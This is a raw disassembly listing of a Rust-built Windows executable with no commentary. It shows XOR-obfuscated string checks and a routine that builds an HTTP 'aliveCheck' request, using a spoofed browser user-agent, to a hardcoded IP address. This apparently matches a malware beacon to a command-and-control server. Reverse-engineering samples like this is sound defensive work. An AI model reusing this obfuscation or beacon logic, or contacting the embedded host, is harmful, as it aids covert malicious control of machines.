mov qword [rcx + 0xb0], rax
mov rax, qword [rsp + 0x118]
mov qword [rcx + 0xb8], rax
mov qword [rcx + 0xc0], r12
mov rax, qword [rsp + 0x138]
mov qword [rcx + 0xc8], rax
mov qword [rcx + 0xd0], rsi
movdqu xmm0, xmmword [rsp + 0x3a8]
movdqu xmmword [rcx + 0xd8], xmm0
mov rax, qword [rsp + 0x3b8]
mov qword [rcx + 0xe8], rax
mov rax, qword [rsp + 0x140]
mov qword [rcx + 0xf0], rax
mov rax, qword [rsp + 0x248]
mov qword [rcx + 0xf8], rax
mov rax, qword [rsp + 0x250]
mov dword [rcx + 0x100], eax
movups xmmword [rcx + 0x108], xmm6
mov qword [rcx + 0x118], rdx
lea rsi, [rcx + 0x80]
mov rcx, qword [rdi]
mov rdx, rsi
lea r8, [rsp + 0xc0]
call fcn.1400f0cc3
test rax, rax
je 0x14000c2c7
test rdx, rdx
je 0x14000c2c7
jmp 0x14000c6c2
mov rcx, qword [0x1401aa478]
xor ebp, ebp
xor edx, edx
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x270], 0
je 0x14000c49a
mov rsi, qword [rsp + 0x268]
lea rax, [0x1401143ce]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x3e0]
mov rbx, qword [rax + 0x126f]
movzx edi, word [rax + 0x1277]
movzx r14d, byte [rax + 0x1279]
mov al, byte [0x1401aa510]
mov edx, 0xb
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14000c5b2
shl r14d, 0x10
or edi, r14d
mov ecx, edi
shr ecx, 0x10
xor cl, 0x4a
xor edi, 0x24dc
movabs rdx, 0xd0bb34459195775a
xor rbx, rdx
mov qword [rax], rbx
mov word [rax + 8], di
mov byte [rax + 0xa], cl
cmp qword [rsi + 8], 0xb
jne 0x14000bd0c
mov rcx, qword [rsi]
mov rsi, qword [rcx]
xor rsi, qword [rax]
mov rdi, qword [rcx + 3]
xor rdi, qword [rax + 3]
mov rcx, qword [0x1401aa478]
xor edx, edx
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
or rdi, rsi
jne 0x14000bd1e
lea rcx, [0x1401151c8]
call fcn.1400f0b61
mov rsi, rax
mov rdi, rdx
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rdx
mov ebx, 1
lock xadd qword [0x1401aa2c0], rbx
mov al, byte [0x1401aa510]
mov edx, 0x100
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14000c656
lea rcx, [rdi + 0x120]
add rdi, 0xc0
test rsi, rsi
cmovne rdi, rcx
mov rcx, rax
and rcx, 0xffffffffffffff80
lea rsi, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
xor edx, edx
mov qword [rcx + 0x88], rdx
lea rax, [0x140114918]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], rdx
mov qword [rcx + 0xa0], rbx
mov qword [rcx + 0xa8], 2
mov byte [rcx + 0xb0], 1
movups xmmword [rcx + 0xc8], xmm6
mov qword [rcx + 0xd8], rdx
mov rcx, qword [rdi]
mov rdx, rsi
lea r8, [rsp + 0xc0]
call fcn.1400f0cc3
test rax, rax
je 0x14000bce8
test rdx, rdx
jne 0x14000c729
lea rcx, [rsp + 0xc0]
call fcn.140001cba
mov eax, 0xcc
mov ecx, 0x84
lock cmpxchg qword [rsi], rcx
mov dil, 1
jmp 0x14000c2e5
mov rcx, qword [0x1401aa478]
xor edx, edx
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x270], 0
je 0x14000c4a3
mov rsi, qword [rsp + 0x268]
lea rax, [0x140105c9c]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x3e0]
movaps xmmword [rsp + 0x3e0], xmm6
mov cl, 1
xor edx, edx
lea r9, [0x140115138]
mov r8, qword [rdx + r9]
xor r8, qword [rax + rdx + 0xf9ac]
mov qword [rsp + rdx + 0x3e0], r8
mov edx, 8
test cl, 1
mov ecx, 0
jne 0x14000bd5f
mov al, byte [rax + 0xf9bc]
xor al, 0xb0
movaps xmm0, xmmword [rsp + 0x3e0]
movaps xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x60], al
mov al, byte [0x1401aa510]
mov edx, 0x11
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14000c5e2
mov cl, byte [rsp + 0x60]
mov byte [rax + 0x10], cl
movdqa xmm0, xmmword [rsp + 0x50]
movdqu xmmword [rax], xmm0
cmp qword [rsi + 8], 0x11
jne 0x14000bf22
mov rcx, qword [rsi]
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rax]
pcmpeqb xmm1, xmm0
movzx ecx, byte [rcx + 0x10]
movzx edx, byte [rax + 0x10]
movd xmm0, ecx
movd xmm2, edx
pcmpeqb xmm2, xmm0
pand xmm2, xmm1
pmovmskb esi, xmm2
mov rcx, qword [0x1401aa478]
xor edx, edx
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
cmp esi, 0xffff
jne 0x14000bf34
lea rcx, [0x1401151b0]
call fcn.1400f0b61
mov rsi, rax
mov rdi, rdx
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rdx
mov ebx, 1
lock xadd qword [0x1401aa2c0], rbx
mov al, byte [0x1401aa510]
mov edx, 0x100
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14000c656
lea rcx, [rdi + 0x120]
add rdi, 0xc0
test rsi, rsi
cmovne rdi, rcx
mov rcx, rax
and rcx, 0xffffffffffffff80
lea rsi, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
xor edx, edx
mov qword [rcx + 0x88], rdx
lea rax, [0x140114af8]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], rdx
mov qword [rcx + 0xa0], rbx
mov qword [rcx + 0xa8], 2
mov qword [rcx + 0xb0], r15
mov rax, qword [rsp + 0x40]
mov qword [rcx + 0xb8], rax
mov rax, qword [rsp + 0x118]
mov qword [rcx + 0xc0], rax
movups xmmword [rcx + 0xc8], xmm6
mov qword [rcx + 0xd8], rdx
mov rcx, qword [rdi]
mov rdx, rsi
lea r8, [rsp + 0xc0]
call fcn.1400f0cc3
test rax, rax
je 0x14000c2c7
test rdx, rdx
je 0x14000c2c7
jmp 0x14000c781
mov rcx, qword [0x1401aa478]
xor edx, edx
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x270], 0
je 0x14000c4ac
mov rsi, qword [rsp + 0x268]
lea rax, [0x1401091a7]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x3e0]
mov rbx, qword [rax + 0xc4b2]
movzx edi, word [rax + 0xc4ba]
mov al, byte [0x1401aa510]
mov edx, 0xa
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14000c627
xor edi, 0x66c5
movabs rcx, 0x22b7cbb83355376
xor rbx, rcx
mov qword [rax], rbx
mov word [rax + 8], di
cmp qword [rsi + 8], 0xa
jne 0x14000c0e6
mov rcx, qword [rsi]
mov rsi, qword [rcx]
xor rsi, qword [rax]
movzx ecx, word [rcx + 8]
xor cx, word [rax + 8]
movzx edi, cx
mov rcx, qword [0x1401aa478]
xor edx, edx
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
or rdi, rsi
jne 0x14000c0f8
lea rcx, [0x140115198]
call fcn.1400f0b61
mov rsi, rax
mov rdi, rdx
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rdx
mov ebx, 1
lock xadd qword [0x1401aa2c0], rbx
mov al, byte [0x1401aa510]
mov edx, 0x100
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14000c656
lea rcx, [rdi + 0x120]
add rdi, 0xc0
test rsi, rsi
cmovne rdi, rcx
mov rcx, rax
and rcx, 0xffffffffffffff80
lea rsi, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
xor edx, edx
mov qword [rcx + 0x88], rdx
lea rax, [0x140114a58]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], rdx
mov qword [rcx + 0xa0], rbx
mov qword [rcx + 0xa8], 2
mov qword [rcx + 0xb0], r15
mov rax, qword [rsp + 0x40]
mov qword [rcx + 0xb8], rax
mov rax, qword [rsp + 0x118]
mov qword [rcx + 0xc0], rax
movups xmmword [rcx + 0xc8], xmm6
mov qword [rcx + 0xd8], rdx
mov rcx, qword [rdi]
mov rdx, rsi
lea r8, [rsp + 0xc0]
call fcn.1400f0cc3
test rax, rax
je 0x14000c2c7
test rdx, rdx
je 0x14000c2c7
jmp 0x14000c7f0
mov rcx, qword [0x1401aa478]
xor edx, edx
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x270], 0
je 0x14000c4b5
mov rsi, qword [rsp + 0x268]
lea rax, str.pm_8
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x3e0]
mov edi, dword [rax + 0x72c7]
movzx ebx, word [rax + 0x72cb]
movzx r14d, byte [rax + 0x72cd]
mov al, byte [0x1401aa510]
mov edx, 7
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14000c665
shl r14d, 0x10
or ebx, r14d
mov ecx, ebx
shr ecx, 0x10
xor cl, 0x65
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
xor ebx, 0xd59
movzx edx, bx
shl rdx, 0x20
or rdx, rcx
xor edi, 0x9c4e841f
mov dword [rax], edi
shr rdx, 0x20
mov word [rax + 4], dx
cmp qword [rsi + 8], 7
jne 0x14000c377
mov rcx, qword [rsi]
mov esi, dword [rcx]
xor esi, dword [rax]
mov edi, dword [rcx + 3]
xor edi, dword [rax + 3]
mov rcx, qword [0x1401aa478]
xor edx, edx
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
or edi, esi
mov dil, 1
lea rbx, [rsp + 0x50]
jne 0x14000c391
lea rcx, [0x140115180]
call fcn.1400f0b61
mov rsi, rax
mov rdi, rdx
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rdx
mov ebx, 1
lock xadd qword [0x1401aa2c0], rbx
mov al, byte [0x1401aa510]
mov edx, 0x100
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14000c656
lea rcx, [rdi + 0x120]
add rdi, 0xc0
test rsi, rsi
cmovne rdi, rcx
mov rcx, rax
and rcx, 0xffffffffffffff80
lea rsi, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
xor edx, edx
mov qword [rcx + 0x88], rdx
lea rax, [0x140114a08]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], rdx
mov qword [rcx + 0xa0], rbx
mov qword [rcx + 0xa8], 2
mov qword [rcx + 0xb0], r15
mov rax, qword [rsp + 0x40]
mov qword [rcx + 0xb8], rax
mov rax, qword [rsp + 0x118]
mov qword [rcx + 0xc0], rax
movups xmmword [rcx + 0xc8], xmm6
mov qword [rcx + 0xd8], rdx
mov rcx, qword [rdi]
mov rdx, rsi
lea r8, [rsp + 0xc0]
call fcn.1400f0cc3
test rax, rax
je 0x14000c2c7
test rdx, rdx
jne 0x14000c854
lea rcx, [rsp + 0xc0]
call fcn.140001cba
xor edi, edi
mov eax, 0xcc
mov ecx, 0x84
lock cmpxchg qword [rsi], rcx
lea rbx, [rsp + 0x50]
je 0x14000c391
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax + 0x20]
jmp 0x14000c391
mov esi, 1
xor eax, eax
mov qword [rsp + 0xb0], rax
lea rbp, [rsp + 0x710]
mov rcx, rsi
mov rdx, rdi
mov r8, r10
mov rdi, r10
call fcn.1401035b1
mov rax, qword [rsp + 0x168]
mov rdx, qword [rsp + 0x170]
mov r8, qword [rsp + 0x178]
lea rcx, [rsp + 0x180]
call qword [rax + 8]
mov rdx, rdi
cmp dword [rsp + 0x520], 2
mov qword [rsp + 0x188], rsi
mov qword [rsp + 0x40], rsi
movabs rax, 0x8000000000000000
jne 0x14000b6b3
jmp 0x14000b6d0
mov rcx, qword [0x1401aa478]
xor edx, edx
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov dil, 1
lea rbx, [rsp + 0x50]
cmp qword [rsp + 0x260], 0
je 0x14000c3b3
mov r8, qword [rsp + 0x268]
mov rcx, qword [0x1401aa478]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r12, r12
setne al
mov ecx, ebp
not cl
test cl, al
je 0x14000c3d8
mov rcx, qword [0x1401aa478]
xor edx, edx
mov r8, qword [rsp + 0x138]
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
setne al
test al, dil
lea r14, [rsp + 0x580]
lea r15, [rsp + 0x6b0]
je 0x14000c407
mov rcx, qword [0x1401aa478]
xor edx, edx
mov r8, qword [rsp + 0x40]
call qword [sym.imp.kernel32.dll_HeapFree]
mov ecx, 5
call case.0x14008af4a.451
test bpl, bpl
lea rbp, [rsp + 0x710]
je 0x14000b803
mov rax, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x1c8]
mov edx, dword [rsp + 0x1d0]
mov qword [rsp + 0x140], rax
lock inc qword [rax]
jg 0x14000917e
jmp case.0x14000939f.2
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov edx, 0x13
call fcn.140104820
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
jmp 0x14000c457
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov rcx, rbp
call fcn.140104820
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
call fcn.140104820
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
call fcn.140104820
lea r8, [0x1401150f0]
jmp 0x14000c4bc
lea r8, [0x140115108]
jmp 0x14000c4bc
lea r8, [0x140115120]
jmp 0x14000c4bc
lea r8, [0x140115150]
jmp 0x14000c4bc
lea r8, [0x140115168]
xor ecx, ecx
xor edx, edx
call fcn.140104820
lea rcx, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_0.3.17_srclib.rs
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov r8, rax
call fcn.140104d80
lea rax, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_0.3.17_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov r9, r10
call fcn.140104d80
lea rcx, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.10.10_src_async_impl_response.rs
call fcn.140104e90
lea rcx, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.10.10_src_async_impl_response.rs
call fcn.140104e90
lea rcx, str.Must_not_use_a_decoder_that_has_finished.
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov edx, 0x29
call fcn.1401048a0
mov rdx, qword [rsp + 0x258]
jmp 0x14000c53d
mov eax, 1
mov qword [rsp + 0x108], rax
mov rdx, rsi
mov rcx, qword [rsp + 0x108]
call fcn.140103bc0
mov ecx, 8
mov edx, 0x18
call fcn.140103be0
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov rcx, rbp
call fcn.140104810
lea rcx, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.13.10_src_body_to_bytes.rs
call fcn.140104e90
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x140172bc0]
mov edx, 0x28
call fcn.140104c50
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov rcx, r15
mov rdx, r12
call fcn.140104810
mov ecx, 1
mov edx, 5
call fcn.140103bc0
call fcn.140027c20
mov ecx, 1
mov edx, 0xb
call fcn.140103bc0
mov ecx, 1
mov rdx, rsi
call fcn.140103bc0
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov rdx, qword [rsp + 0xb0]
call fcn.140104810
mov ecx, 1
mov edx, 0x11
call fcn.140103bc0
lea rax, [0x140169020]
jmp 0x14000c7e0
mov eax, 1
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x138], rsi
mov rcx, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x138]
call fcn.140103bc0
mov ecx, 1
mov edx, 0xa
call fcn.140103bc0
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov rdx, r10
call fcn.140104810
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov edx, 0x13
call fcn.140104890
mov ecx, 0x80
mov edx, 0x80
call fcn.140103be0
mov ecx, 1
mov edx, 7
call fcn.140103bc0
mov eax, 1
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x188], r12
mov rcx, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x188]
call fcn.140103bc0
lea rax, [0x140169038]
jmp 0x14000c7e0
lea rcx, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
call fcn.140104c30
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
jmp 0x14000c593
lea rax, [rsp + 0x168]
mov qword [rax], rdx
mov qword [rsp + 0x50], rax
lea rax, [0x1400d4290]
mov qword [rsp + 0x58], rax
lea rax, str.OS_cant_spawn_worker_thread:
lea rcx, [rsp + 0x3e0]
mov qword [rcx], rax
mov eax, 1
mov qword [rcx + 8], rax
mov qword [rcx + 0x20], 0
lea rdx, [rsp + 0x50]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rdx, [0x1401151e0]
call fcn.1401047d0
mov ecx, 0x80
mov edx, 0x100
call fcn.140103be0
lea rax, [rsp + 0x168]
mov qword [rax], rdx
mov qword [rsp + 0x50], rax
lea rax, [0x1400d4290]
mov qword [rsp + 0x58], rax
lea rax, str.OS_cant_spawn_worker_thread:
lea rcx, [rsp + 0x3e0]
mov qword [rcx], rax
mov eax, 1
mov qword [rcx + 8], rax
mov qword [rcx + 0x20], 0
lea rdx, [rsp + 0x50]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rdx, [0x1401151c8]
call fcn.1401047d0
lea rax, [rsp + 0x168]
mov qword [rax], rdx
mov qword [rsp + 0x50], rax
lea rax, [0x1400d4290]
mov qword [rsp + 0x58], rax
lea rax, str.OS_cant_spawn_worker_thread:
lea rcx, [rsp + 0x3e0]
mov qword [rcx], rax
mov eax, 1
mov qword [rcx + 8], rax
mov qword [rcx + 0x20], 0
lea rdx, [rsp + 0x50]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rdx, [0x1401151b0]
call fcn.1401047d0
lea rax, [0x140169050]
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, rsi
call fcn.140104d80
lea rax, [rsp + 0x168]
mov qword [rax], rdx
mov qword [rsp + 0x50], rax
lea rax, [0x1400d4290]
mov qword [rsp + 0x58], rax
lea rax, str.OS_cant_spawn_worker_thread:
lea rcx, [rsp + 0x3e0]
mov qword [rcx], rax
mov eax, 1
mov qword [rcx + 8], rax
mov qword [rcx + 0x20], 0
lea rdx, [rsp + 0x50]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rdx, [0x140115198]
call fcn.1401047d0
lea rcx, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
call fcn.140104c30
lea rax, [rsp + 0x168]
mov qword [rax], rdx
mov qword [rsp + 0x50], rax
lea rax, [0x1400d4290]
mov qword [rsp + 0x58], rax
lea rax, str.OS_cant_spawn_worker_thread:
lea rcx, [rsp + 0x3e0]
mov qword [rcx], rax
mov eax, 1
mov qword [rcx + 8], rax
mov qword [rcx + 0x20], 0
lea rdx, [rsp + 0x50]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rdx, [0x140115180]
call fcn.1401047d0
lea rcx, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
call fcn.140104c30
lea rax, [0x140168f68]
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, rsi
xor r8d, r8d
call fcn.140104d80
mov ecx, 1
mov rdx, rbx
call fcn.140103bc0
lea rax, [0x140169008]
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, rsi
xor r8d, r8d
mov r9, r14
call fcn.140104d80
mov ecx, 8
mov edx, 0x40
call fcn.140103be0
lea rax, [0x140168fd8]
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, rsi
mov r8, qword [rsp + 0x100]
call fcn.140104d80
mov ecx, 8
mov edx, 0x20
call fcn.140103be0
lea rax, [0x140168ff0]
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, rsi
mov r8, r9
mov r9, qword [rsp + 0x88]
call fcn.140104d80
int3
mov rcx, rsi
mov rdx, rbx
mov edx, ebx
mov edx, ebx
mov r8, rdi
call fcn.1400ce9b0
mov r15, rdx
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
test rax, rax
je 0x14002157a
mov eax, r15d
clc
and eax, 3
movsxd rax, dword [r13 + rax*4]
add rax, r13
jmp rax
test r15, r15
je 0x1400215c5
mov rax, rdi
sub rax, r15
jb 0x1400215ea
add rbx, r15
mov rdi, rax
jmp 0x1400215ac
mov dr6, rsp
invalid
test rdi, rdi
jne 0x140021541
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
xor esi, esi
jmp 0x1400215d4
mov r15, r12
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rsi, r15
mov rax, rsi
add rsp, 0x9d80
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str._rustc_ab5bda1aa70f707014e2e691e43bc37a8819252alibrary_std_srciomod.rs
mov rcx, r15
mov rdx, rdi
call fcn.140104810
int3
sub esp, 0x7c8
movaps xmmword [rsp + 0x7b0], xmm8
movaps xmmword [rsp + 0x7a0], xmm7
movaps xmmword [rsp + 0x790], xmm6
mov rdi, rdx
mov rbx, rcx
movzx eax, byte [rcx + 0xd1]
lea rcx, [0x14019f270]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rsp + 0xd0], rdi
mov byte [rbx + 0xd0], 0
mov al, byte [0x1401aa510]
mov edx, 0x44
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x1400277ca
lea rdx, str.Mozilla_5.0__Windows_NT_6.1__WOW64__Trident_7.0__rv:11.0__like_GeckoFailed_to_create_event
mov r8d, 0x44
mov qword [rsp + 0x38], rax
mov rcx, rax
call fcn.1401035b1
lea rax, str.104.238.160.14_index.php_aliveCheck
mov qword [rbx], rax
mov qword [rbx + 8], 0x18
lea r14, [rsp + 0x1d0]
mov qword [r14], rbx
lea r15, [0x14004bddc]
mov qword [r14 + 8], r15
lea rax, str.http:__
lea rsi, [rsp + 0x430]
mov qword [rsi], rax
mov r13d, 2
mov qword [rsi + 8], r13
xor ebp, ebp
mov qword [rsi + 0x20], rbp
mov qword [rsi + 0x10], r14
mov r12d, 1
mov qword [rsi + 0x18], r12
lea rdi, [rsp + 0x270]
mov rcx, rdi
mov rdx, rsi
call fcn.140028220
mov rax, qword [rdi + 0x10]
mov qword [rbx + 0x80], rax
movups xmm0, xmmword [rdi]
movups xmmword [rbx + 0x70], xmm0
mov qword [r14], rbx
mov qword [r14 + 8], r15
lea rax, str.http:__
mov qword [rsi], rax
mov qword [rsi + 8], r13
mov qword [rsi + 0x20], rbp
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], r12
lea rsi, [rsp + 0x270]
lea rdi, [rsp + 0x430]
mov rcx, rsi
mov rdx, rdi
call fcn.140028220
mov rax, qword [rsi + 0x10]
mov qword [rbx + 0x98], rax
movups xmm0, xmmword [rsi]
movups xmmword [rbx + 0x88], xmm0
mov qword [r14], rbx
mov qword [r14 + 8], r15
lea rax, str.http:__
mov qword [rdi], rax
mov qword [rdi + 8], r13
mov qword [rdi + 0x20], rbp
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], r12
lea rsi, [rsp + 0x270]
lea rdx, [rsp + 0x430]
mov rcx, rsi
call fcn.140028220
mov rax, qword [rsi + 0x10]
mov qword [rbx + 0xb0], rax
movups xmm0, xmmword [rsi]
movups xmmword [rbx + 0xa0], xmm0
lea rdi, [rsp + 0x430]
mov edx, 2
mov rcx, rdi
call fcn.14005ad65
mov rsi, qword [rdi + 0x10]
cmp qword [rdi], rsi
jbe 0x140025771
lea rdi, [rsp + 0x430]
mov rcx, rdi
mov rdx, rsi
call fcn.14005acbd
mov rsi, qword [rdi + 0x10]
mov rdi, qword [rsp + 0x438]
mov al, byte [0x1401aa510]
mov edx, 0xd0
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x1400277d9
xor ecx, ecx
mov qword [rsp + 0x430], rcx
mov qword [rsp + 0x448], 2
mov qword [rsp + 0x450], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x458], xmm0
mov qword [rsp + 0x468], 8
mov qword [rsp + 0x470], rcx
mov qword [rsp + 0x478], rdi
mov qword [rsp + 0x480], rsi
mov word [rsp + 0x488], 1
lea rax, str._C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.10.10_src_async_implclient.rstrust_dns_shouldnt_be_enabled_unless_the_feature_is
mov dl, byte [rcx + rax]
cmp dl, 9
je 0x140025806
add dl, 0xe0
cmp dl, 0x5f
jae 0x14002776a
inc rcx
cmp rcx, 3
jne 0x1400257f2
lea rcx, [0x14016c870]
lea r9, [rsp + 0x270]
mov qword [r9], rcx
mov qword [r9 + 8], rax
mov qword [r9 + 0x10], 3
mov qword [r9 + 0x18], 0
mov byte [r9 + 0x20], 0
xorps xmm6, xmm6
lea r8, [rsp + 0x5f0]
movaps xmmword [r8 + 0x10], xmm6
movaps xmmword [r8], xmm6
lea rsi, [rsp + 0x1d0]
lea rdx, [rsp + 0x430]
mov rcx, rsi
call fcn.140062861
cmp byte [rsi + 0x20], 2
je 0x140025883
lea rcx, [rsp + 0x1e8]
mov rax, qword [rcx - 0x18]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
call qword [rax + 0x18]
lea rdx, [rsp + 0x5f0]
lea r12, [rsp + 0x430]
mov ecx, 0xc
mov rdi, rdx
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
movaps xmmword [rsp + 0x160], xmm6
lea rax, [rsp + 0x270]
lea rsi, [rsp + 0x430]
mov ecx, 0xf
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov ecx, dword [rsp + 0x658]
mov dword [rsp + 0x50], ecx
mov rcx, qword [rsp + 0x650]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x100]
mov qword [rsp + 0x78], rcx
mov ecx, dword [rsp + 0x108]
mov dword [rsp + 0x80], ecx
mov rcx, qword [rsp + 0x170]
mov qword [rsp + 0x60], rcx
mov ecx, dword [rsp + 0x178]
mov dword [rsp + 0x68], ecx
lea r13, [rsp + 0x1d0]
movups xmm0, xmmword [r13]
movaps xmmword [rsp + 0xe0], xmm0
mov rcx, qword [r13 + 0xd]
mov qword [rsp + 0xed], rcx
lea r8, [rsp + 0x430]
mov ecx, 0xc
mov rdi, r8
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov qword [r8 + 0x60], 1
mov qword [r8 + 0x68], 0xa
movups xmmword [r8 + 0x70], xmm6
mov ecx, 8
mov qword [r8 + 0x80], rcx
movups xmmword [r8 + 0x88], xmm6
mov qword [r8 + 0x98], rcx
xor ebp, ebp
mov qword [r8 + 0xa0], rbp
movabs rcx, 0x8000000000000001
mov qword [r8 + 0xa8], rcx
lea r14, [rsp + 0x4e0]
mov ecx, 0xf
mov rdi, r14
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov dword [r14 + 0x78], ebp
mov dword [r14 + 0x80], ebp
mov rax, qword [rsp + 0x48]
mov qword [r14 + 0x84], rax
mov eax, dword [rsp + 0x50]
mov dword [r14 + 0x8c], eax
mov eax, 0x3b9aca00
mov dword [r14 + 0x90], eax
mov qword [r14 + 0x98], 0x5a
mov dword [r14 + 0xa0], ebp
mov rcx, qword [rsp + 0x78]
mov qword [r14 + 0xa4], rcx
mov ecx, dword [rsp + 0x80]
mov dword [r14 + 0xac], ecx
mov dword [r14 + 0xb0], eax
mov rcx, qword [rsp + 0x60]
mov qword [r14 + 0xb4], rcx
mov ecx, dword [rsp + 0x68]
mov dword [r14 + 0xbc], ecx
mov dword [r14 + 0xc0], eax
mov qword [r14 + 0xc8], 0xffffffffffffffff
lea rsi, [rsp + 0x5b0]
mov qword [rsi], rbp
movabs rax, 0x1000001010001
mov qword [rsi + 8], rax
mov word [rsi + 0x10], 0x200
